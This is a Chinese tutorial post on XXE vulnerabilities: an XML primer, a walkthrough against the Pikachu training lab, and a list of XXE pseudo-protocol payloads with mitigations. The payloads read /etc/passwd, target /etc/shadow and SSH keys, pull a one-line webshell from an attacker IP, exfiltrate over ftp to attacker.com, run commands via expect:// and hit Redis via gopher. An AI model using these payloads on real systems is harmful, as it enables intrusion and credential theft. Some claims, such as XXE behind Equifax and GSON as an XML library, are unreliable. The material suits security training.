Pikachu靶场——XXE漏洞

XXE(XML External Entity)漏洞

XXE(XML External Entity)漏洞是一种常见的安全漏洞,发生在处理 XML 数据的应用程序中。当应用程序解析 XML 输入时,如果没有正确配置或过滤外部实体的加载,就可能导致 XXE 攻击。

1. 什么是 XXE 漏洞?

XXE 漏洞允许攻击者通过构造特定的 XML 输入来操控 XML 解析器,迫使其加载外部实体(External Entities)。这可能导致多种安全问题,包括:

  • 读取本地文件(如 /etc/passwd)。
  • 远程服务器发起请求(SSR,Server-Side Request Forgery)。
  • 进行拒绝服务攻击(DoS)。
  • 执行远程代码(RCE),虽然较少见,但在一些特定条件下可能发生。

2. 漏洞原理

XML 允许定义外部实体,通过 <!ENTITY> 声明来引用外部资源。攻击者可以通过构造恶意的 XML 数据,在其中包含外部实体,诱使解析器加载这些实体。

例如,假设攻击者提交以下 XML 数据:

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<user>

<name>&xxe;</name>

</user>

在这个例子中:

  • <!DOCTYPE foo [ ... ]> 定义了一个外部实体 xxe,该实体指向本地的 /etc/passwd 文件。
  • 当 XML 解析器解析该文档时,它会尝试加载外部实体 xxe,从而导致读取该文件的内容。

3. XXE 漏洞的影响

XXE 漏洞的影响可以非常严重,具体包括:

  • 信息泄露:通过加载本地文件,攻击者可以窃取敏感信息,如配置文件、用户数据等。
  • 远程代码执行:在某些情况下,攻击者可以构造恶意的外部实体,从而在服务器上执行恶意代码。
  • 拒绝服务攻击(DoS):通过递归地定义大量的外部实体,攻击者可以消耗大量的资源,导致服务崩溃。
  • SSR(Server-Side Request Forgery):攻击者可能通过 XML 实体请求内部服务,绕过网络防火墙进行攻击。

4. 漏洞成因

XXE 漏洞的根本原因是 XML 解析器在没有正确限制的情况下,允许外部实体的加载。现代的 XML 解析器(如 Java 的 SAX 或 .NET 的 XML 解析器)通常默认允许外部实体的解析,因此需要额外配置以禁止该行为。

5. 如何防范 XXE 漏洞?

为了防止 XXE 漏洞,可以采取以下几种措施:

a. 禁用外部实体解析

大多数现代的 XML 解析库允许禁用外部实体解析。确保在解析 XML 时禁用对外部实体的支持。

b. 使用更安全的 XML 解析库

使用更安全、默认禁用外部实体加载的库,如 lxml 或 GSON,而非较旧的解析库。

c. 输入验证

严格验证传入的 XML 数据,拒绝任何形式的外部实体引用,或对所有输入的 XML 数据进行过滤。

d. 最小化文件和网络访问权限

确保应用程序只能访问它们所需的文件和网络资源。如果应用程序需要解析 XML,确保它无法访问敏感的文件和内网资源。

e. 定期安全测试

使用静态分析工具、动态分析工具或渗透测试对应用程序进行安全扫描,及时发现 XXE 漏洞。

6. 现实案例

  • 2017年 Equifax 数据泄露事件:在该事件中,攻击者通过 XXE 漏洞攻破了 Equifax 的一部分系统,导致了大规模的个人信息泄露。攻击者利用 XXE 漏洞获取了系统内网的敏感信息。
  • 2019年某银行:通过 XXE 漏洞,攻击者能够读取银行服务器上的本地文件,从而获取敏感信息和进一步执行攻击。

7. 总结

XXE 漏洞是一个严重的安全问题,攻击者可以利用该漏洞窃取敏感信息、发起拒绝服务攻击或进行远程代码执行。防范 XXE 漏洞的关键是禁用不必要的外部实体支持,使用安全的 XML 解析库,并对输入进行严格的验证和过滤。

XML(eXtensible Markup Language,可扩展标记语言)

XML(eXtensible Markup Language,可扩展标记语言)是一种用于描述数据结构和数据交换的标记语言。它设计上既简单又灵活,广泛应用于数据存储、传输和表示中。XML 具有自描述性和层次结构,通常用于系统之间的通信和文件存储。

1. XML 基本概念

a. 结构

XML 文档由元素(tags)组成,元素通常以开始标记和结束标记配对出现。每个元素可以包含子元素或文本内容,也可以嵌套其他元素。

例如:

<book>
`

<title>XML教程</title>` ` <author>张三</author>` ` <year>2024</year>` ` </book>`

在这个例子中:

  • <book> 是根元素。
  • <title>, <author>, 和 <year> 是 book 元素的子元素。
  • 每个元素都有开始标签和结束标签,数据位于这些标签之间。

b. 属性

元素也可以有属性,属性通常提供额外的信息。例如:

<book type="programming">

<title>XML教程</title>

<author>张三</author>

</book>

在这个例子中,book 元素有一个 type 属性,表示该书的类型。

c. 注释

XML 支持注释,可以用来添加文档说明,但不会被解析器处理。例如:

<!-- 这是一本关于XML的书 -->

<book>

<title>XML教程</title>

</book>

2. XML 的特点

  • 自描述性:XML 文档的结构是自描述的,含有丰富的标签,能清晰地表达数据的含义。
  • 平台无关性:XML 文档是纯文本格式,可以在不同平台、不同操作系统之间传输和处理。
  • 层次化结构:XML 是树形结构的数据表示方式,支持嵌套结构,使其能表示复杂的数据关系。
  • 扩展性:用户可以根据需要自定义标签,适应不同的应用场景,满足不同的需求。

3. XML 与 HTML 的区别

虽然 XML 和 HTML 都是基于标签的标记语言,但它们有很大的不同:

  • 用途不同
    • HTML 主要用于网页展示,结构和标签是预定义的。
    • XML 用于数据交换和存储,允许用户自定义标签。
  • 标签规则
    • HTML 标签不需要严格闭合(例如 <li> 可以没有结束标签 </li>),浏览器会自动处理。
    • XML 标签必须严格闭合,且大小写敏感,标签必须是成对出现的。
  • 数据结构
    • HTML 主要侧重于表示和展示数据。
    • XML 主要用于存储和传输数据。

4. XML 的应用

XML 被广泛应用于多个领域:

  • Web 服务(SOAP):许多 Web 服务协议(如 SOAP)使用 XML 作为消息格式。
  • 配置文件:很多程序使用 XML 文件来存储配置数据,像 web.xml(Java Web)和 pom.xml(Maven)。
  • 数据交换:XML 是一种常见的数据交换格式,例如 RSS(用于新闻订阅)和 Atom(另一种新闻订阅格式)。
  • 数据库存储:一些数据库(如 XML 数据库)专门支持 XML 数据的存储和查询。

5. XML 文档的基本结构

XML 文档通常包括以下几个部分:

  • 声明 (可选):用于定义 XML 文档的版本和字符编码。
    <?xml version="1.0" encoding="UTF-8"?>
    这表示该文档使用 XML 1.0 版本,并且字符编码为 UTF-8。
  • 根元素 :每个 XML 文档必须有一个根元素,所有其他元素都是根元素的子元素。
    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>
    在这个例子中,<note> 是根元素。
  • 元素 :元素用标签表示,可以包含属性、文本或其他子元素。
    <person age="30">
    <name>John</name>
    <job>Engineer</job>
    </person>
  • 注释 :XML 允许在文档中插入注释,注释内容不会被解析。
    <!-- 这是一条注释 -->

6. XML 解析

XML 解析是将 XML 文档转化为程序可以操作的数据结构的过程。常见的 XML 解析方法包括:

  • DOM(Document Object Model):将整个 XML 文档加载到内存中并构建一个树形结构。这种方法适用于文档小且需要多次访问文档的场景。
  • SAX(Simple API for XML):基于事件驱动的解析方式,逐行读取 XML 文档,并触发事件。这种方法适用于处理大文件,因其内存消耗较少。
  • StAX(Streaming API for XML):一种比 SAX 更灵活的解析方法,它允许开发者逐步读取 XML 内容。

7. XML 的安全问题

XML 存在一些安全问题,最常见的就是 XXE(XML External Entity) 漏洞。通过 XML 中的外部实体,攻击者可以发起文件读取、远程代码执行或 DoS 攻击。为防止这些问题,应采取以下措施:

  • 禁用外部实体解析。
  • 使用安全的 XML 解析器。
  • 严格验证 XML 输入。

8. 相关技术

  • XSLT(Extensible Stylesheet Language Transformations):一种用于将 XML 文档转换为其他格式(如 HTML 或纯文本)的语言。
  • XPath:一种用于查询 XML 文档的语言,可以在 XML 文档中定位特定的元素或属性。
  • XML Schema:定义 XML 数据结构的标准,用于描述 XML 数据的合法性规则。

靶场实操一:

1,通过docker镜像在本地ubuntu-linux上搭建靶场,题目位置 http://192.168.23.154/06/vul/xxe/xxe_1.php

接收 XML 数据的 API 通常需要一个后端接口来处理传入的 XML 内容。这类 API 通常需要解析 XML,验证其格式,处理数据,并返回相应的结果。

++XML++ ++结构++

++第一部分:XML声明部分++

++<?xml version="1.0"?>++

++第二部分:文档类型定义 DTD++

++<!DOCTYPE note[++

++<!--定义此文档是note类型的文档-->++

++<!ENTITY entity-name SYSTEM "URI/URL">++

++<!--外部实体声明-->++

++]>++

++第三部分:文档元素++

++<note>++

++<to>Dave</to>++

++<from>Tom</from>++

++<head>Reminder</head>++

++<body>You are a good man</body>++

++</note>++

++XXE++ ++攻击发生在第二部分<!ENTITY>允许外部实体注入++

2,随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):

<?xml version="1.0"?>

<!DOCTYPE foo [

<!ENTITY xxe "XXE" > ]>

<foo>&xxe;</foo>

3,构造payload成功利用漏洞读取敏感信息

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE note [

<!ENTITY hack SYSTEM "file:///etc/passwd">

]>

<name>&hack;</name>

Payload 结构解析

  • <?xml version="1.0" encoding="UTF-8" ?>
    表示这是一个标准的 XML 文档,采用 UTF-8 编码。
  • <!DOCTYPE note [ ... ]>
    这里定义了 XML 文档的 DOCTYPE,引入了一个外部实体。
  • <!ENTITY hack SYSTEM " file:///etc/passwd ">
    • 这是 实体定义,定义了一个名为 hack 的外部实体。
    • SYSTEM 关键字表示该实体的值将从指定的系统资源(如本地文件)中读取。
    • file:///etc/passwd 是一个本地文件路径(Linux 系统上的用户信息文件)。
  • <name>&hack;</name>
    • 这里使用了 &hack; 实体引用,表示在解析时将该实体替换为 file:///etc/passwd 文件的内容。

3,构造payload成功利用漏洞通过http协议读取攻击机一句话木马

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE note [

<!ENTITY hack SYSTEM "http://192.168.23.140:8000/shell.php">

]>

<name>&hack;</name>

在攻击机上面观察,靶机成功下载了一句话木马

只要知道一句话木马路径,就可以使用蚁剑控制这个网站

XXE 漏洞与伪协议

XXE(XML外部实体) 漏洞中,攻击者可以利用一些特殊的伪协议特殊资源路径 来执行文件读取、网络请求、命令执行等操作。以下是常见的 XXE 攻击中引入外部实体时使用的伪协议和用法:

1. file:// 协议

  • 用途:读取本地文件。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <data>&xxe;</data>
  • 效果:读取本地文件 /etc/passwd 的内容并将其插入到 XML 输出中。
  • 常见目标
    • Linux:/etc/passwd、/etc/shadow、/root/.ssh/id_rsa
    • Windows:C:\windows\win.ini、C:\Users\<user>\AppData\Local\Microsoft\

2. http:// 和 https:// 协议

  • 用途 :触发服务器向外部 HTTP/HTTPS 资源发起请求,可以造成 SSRF(服务器端请求伪造)
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "Attacker - The Domain Name Attacker.com is Now For Sale.">
    ]>
    <data>&xxe;</data>
  • 效果:服务器向攻击者的恶意服务器发送请求,并可能泄露信息。
  • 应用
    • 攻击者搭建一个恶意服务器并返回其他攻击载荷。
    • 用于探测内网服务或敏感资源(例如 http://localhost:8080/admin)。

3. ftp:// 协议

  • 用途:读取本地文件并通过 FTP 上传到攻击者的服务器。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "ftp://attacker.com/evil">
    ]>
    <data>&xxe;</data>
  • 效果:可以与文件路径结合使用,导致服务器尝试通过 FTP 将文件内容上传到攻击者服务器。
  • 攻击扩展:如果服务器支持 FTP 文件上传,可利用此协议进行数据泄露。

4. php:// 协议(PHP特有)

  • 用途:在 PHP 环境中,可以通过 php:// 伪协议访问输入/输出流、文件和其他资源。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
    ]>
    <data>&xxe;</data>
  • 效果:读取 index.php 文件内容并进行 Base64 编码,方便攻击者读取编码后的内容。
  • 常见用法
    • php://input:读取原始 HTTP 请求体。
    • php://filter:对文件进行编码或压缩操作。
    • php://stdout、php://stderr:访问标准输出流和错误流。

5. gopher:// 协议

  • 用途:用于构造任意 TCP 数据包发送请求,通常用于攻击内部服务(SSRF 攻击)。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_%2A1%0D%0A$4%0D%0AINFO%0D%0A">
    ]>
    <data>&xxe;</data>
  • 效果:发送构造的 Redis 数据包到目标服务,触发内部服务命令执行(如获取 Redis 信息)。
  • 攻击应用
    • 用于攻击 Redis、Memcached 等基于 TCP 的服务。
    • 可以利用 SSRF 发送精确的请求包。

6. jar:// 协议

  • 用途:在 Java 环境中,加载和访问 JAR 文件。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "jar:file:///path/to/evil.jar!/">
    ]>
    <data>&xxe;</data>
  • 效果:尝试读取 JAR 文件中的内容。
  • 扩展攻击
    • 结合文件上传漏洞,可以执行恶意的 Java 代码。
    • 访问和探测服务器上的 .jar 文件。

7. dict:// 协议

  • 用途:用于通过字典服务器(RFC 2229)发起查询,可用来验证 SSRF。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "dict://example.com:8080">
    ]>
    <data>&xxe;</data>
  • 效果:触发服务器向字典服务器发起查询,验证内网或外部端口是否开放。

8. expect:// 协议(PHP特有)

  • 用途:在 PHP 环境中,可以通过 expect:// 协议执行系统命令。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <data>&xxe;</data>
  • 效果:执行 id 命令并将输出返回给攻击者。
  • 前提:需要 PHP 安装了 expect 扩展,并允许该功能启用。

9. mailto://协议

  • 用途:发送电子邮件。
  • 示例
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "mailto:attacker@example.com">
    ]>
    <data>&xxe;</data>
  • 效果:可能会尝试发送邮件,尤其在应用集成邮件服务的情况下,这可以用来确认 SSRF 存在。

10. 其他特定协议

  • ldap://:尝试连接 LDAP 服务器。
  • netdoc://(Windows 特有):可以用来访问网络文档资源。
  • smb:// 或 cifs://(Windows 文件共享):尝试通过 SMB 协议获取共享文件,可能导致 NTLM 哈希泄露。

总结

在 XXE 攻击中,攻击者利用各种伪协议实现不同的攻击目标:

  1. 文件读取:file://
  2. SSRF(服务器端请求伪造):http://、ftp://、gopher:// 等。
  3. 命令执行:expect://(PHP特有)。
  4. 信息泄露与编码:php://filter
  5. 网络协议探测:ldap://、smtp://、smb://

防范措施:

  • 禁用外部实体解析。
  • 使用安全的 XML 解析器和库。
  • 过滤用户输入的 XML 数据,禁止用户定义 DOCTYPE 和实体。
  • 实施最小权限原则,限制服务器访问不必要的资源和网络协议。
相关推荐
sinat_307021531 小时前
密码学——密码学概述、分类、加密技术(山东省大数据职称考试)
大数据·安全·密码学
没有名字的小羊2 小时前
tryhackme——Pre Security(安检前)-Offensive Security(进攻性安全)
安全
思通数科x2 小时前
AI监控赋能健身馆与游泳馆全方位守护,提升安全效率
人工智能·安全·目标检测·机器学习·计算机视觉·自然语言处理·ocr
黄焖鸡能干四碗3 小时前
软件需求规格说明书文档,系统需求规格说明书下载,软件工程需求规格案例模板参考(word原件)
安全·web安全·架构·需求分析
烁月_o95 小时前
网络安全之漏洞
linux·网络·安全·web安全·信息与通信
云空5 小时前
《Python WEB安全 库全解析》
前端·python·安全·web安全
小翼不想投降5 小时前
sqlmap详解
安全·web安全
Cat_Xu6 小时前
网络安全管理员三级考试整理
安全·网络安全
19999er6 小时前
域名信息收集(小迪网络安全笔记~
网络·笔记·安全·web安全·网络安全